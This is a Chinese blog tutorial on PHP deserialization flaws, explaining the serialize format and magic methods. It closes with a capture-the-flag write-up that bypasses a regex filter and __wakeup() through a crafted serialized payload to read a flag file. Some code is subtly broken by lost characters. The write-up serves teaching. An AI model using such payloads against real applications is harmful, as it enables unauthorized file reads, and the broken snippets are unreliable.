PHP反序列化漏洞

2022-10-27 14:32:46 浏览数 (2)

序列化(serialize)和反序列化(unserialize)

序列化就是将对象转化为字节序列/字符串,便于之后的传递与使用,序列化会保存对象所有的变量。在序列化对象之前,对象的类要实例化/定义过,字符串中包括了类名、对象中所有变量值,但不包括方法。而反序列化后,会将字符串转换回变量,并重建类或对象

序列化(serialize)

序列化是将变量或对象转换成字符串的过程:

代码语言:javascript复制
<?php
class persopn{
 	public $name;
 	public $age;
 
 	function __construct($name,$age){
  		$this->name = $name;
  		$this->age = $age;
 	}
}

$p = new ("cx", 19);
echo serialize($p);
?>

输出结果:

代码语言:javascript复制
O:6:"person":2:{s:4:"name";s:3:"cx";s:3:"age";i:19;}
  • O代表结构类型为类
  • 6表示类名长度
  • person表示类名
  • 2表示类的属性个数
  • s表示属性名的类型为字符串
  • 4表示属性名长度
  • name表示属性名
  • s表示属性的类型为字符串
  • 3表示属性长度
  • cx表示属性值
  • ……

反序列化(unserialize)

unserialize()将序列化的结果恢复成对象。

代码语言:javascript复制
<?php
class Demo{ 
    public $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
}

$s = new Demo('test.php');
$str = serialize($s);
echo($str."n");

print_r(unserialize($str));

$sir = unserialize($str);
?>

输出结果为:

代码语言:javascript复制
O:4:"Demo":1:{s:4:"file";s:8:"test.php";}

Demo Object
(
    [file] => test.php
)

序列化格式

布尔型:

代码语言:javascript复制
b:value //true or flase
b:0

整数型:

代码语言:javascript复制
i:value
i:10

字符型:

代码语言:javascript复制
s:length:"value";
s:4:"aaaa"

对象:

代码语言:javascript复制
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"Person":3:{s:4:"name";N;s:3:"age";i:18;s:3:"sex";B;}

数组:

代码语言:javascript复制
a:<length>:{key; value pairs};
a:1:{i:1;s:1:"a";}

NULL:

代码语言:javascript复制
N

魔术方法

魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)

__construct对象被创建时调用,但unserialize()时不会调用

__toString对象被当做字符串使用时调用,返回一个字符串(不仅echo,比如file_exists()也会触发)

__sleep序列化对象之前调用(返回一个包含对象中所有应被序列化的变量名称的数组)

__wakeup反序列化对象之前调用,可用于对对象的初始化操作

__call调用对象不存在的时

__get()调用私有属性时

__set()读取不可访问或者不存在属性时被调用

__isset()对不可访问或者不存在属性调用isset()或者empty()是被调用

__unset()对不可访问或不存在的属性进行unset()时被调用

反序列化漏洞

条件

  • unserialize()函数的参数可控
  • php中有可以利用的类并且类中有魔术方法

漏洞成因

当传给unserialize()的参数可控时,就可以注入精心构造的payload,在进行反序列化是就可能触发对象中的一些魔术方法,执行恶意指令。

例题

1. Web_php_unserialize

题目来源攻防世界

前置知识:在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在__wakeup()的漏洞。当反序列化中对象属性的个数和真实的个数不等时,__wakeup()就会被绕过。

查看代码

首先查看php源代码:

代码语言:javascript复制
<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:d :/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

Demo里面看到了__wakeup()函数,可知这里应该涉及反序列化。

下方的if语句首先判断var参数是否存在,然后进行base64编码,再与正则表达式匹配。如果与正则表达式匹配,程序就会停止,所以我们需要绕过匹配,执行else中的@unserialize($var);反序列化操作。在反序列化操作之前会先执行__wakeup(),判断对象的文件是否为index.php,如果不是则将对象的文件属性变为index.php,注释告诉我们flagfl4g.php里面,因此我们需要绕过__wakeup()

序列化对象

代码语言:javascript复制
<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$demo = new Demo('fl4g.php');
echo serialize($demo);
?>

运行后得到结果:

代码语言:javascript复制
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

这里我们发现Demofile只有八个字符,但是长度却是10,可知存在两个空字符:

绕过正则表达式

/[oc]:d :/i

[oc]:表示这块区域用来匹配o或者c

d:代表一个数字字符;

:代表可以匹配多次;

/i表示匹配时不区分大小写。

由于序列化后的结果o后面为4,所以需要绕过正则表达式, 号可以实现绕过( 号代表空格),还可以使用true来代替数字1或者异或法。

正则表达式完整教程

利用__wakeup()漏洞绕过

然后绕过__wakeup(),修改类的属性个数大于真是属性个数即可。

修改后的序列化结果如下:

代码语言:javascript复制
O: 4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

编码、构造payload

然后进行base64编码,注意不要忘记加上两个x00空字符:

然后构造payload,即可得到flag。

0 人点赞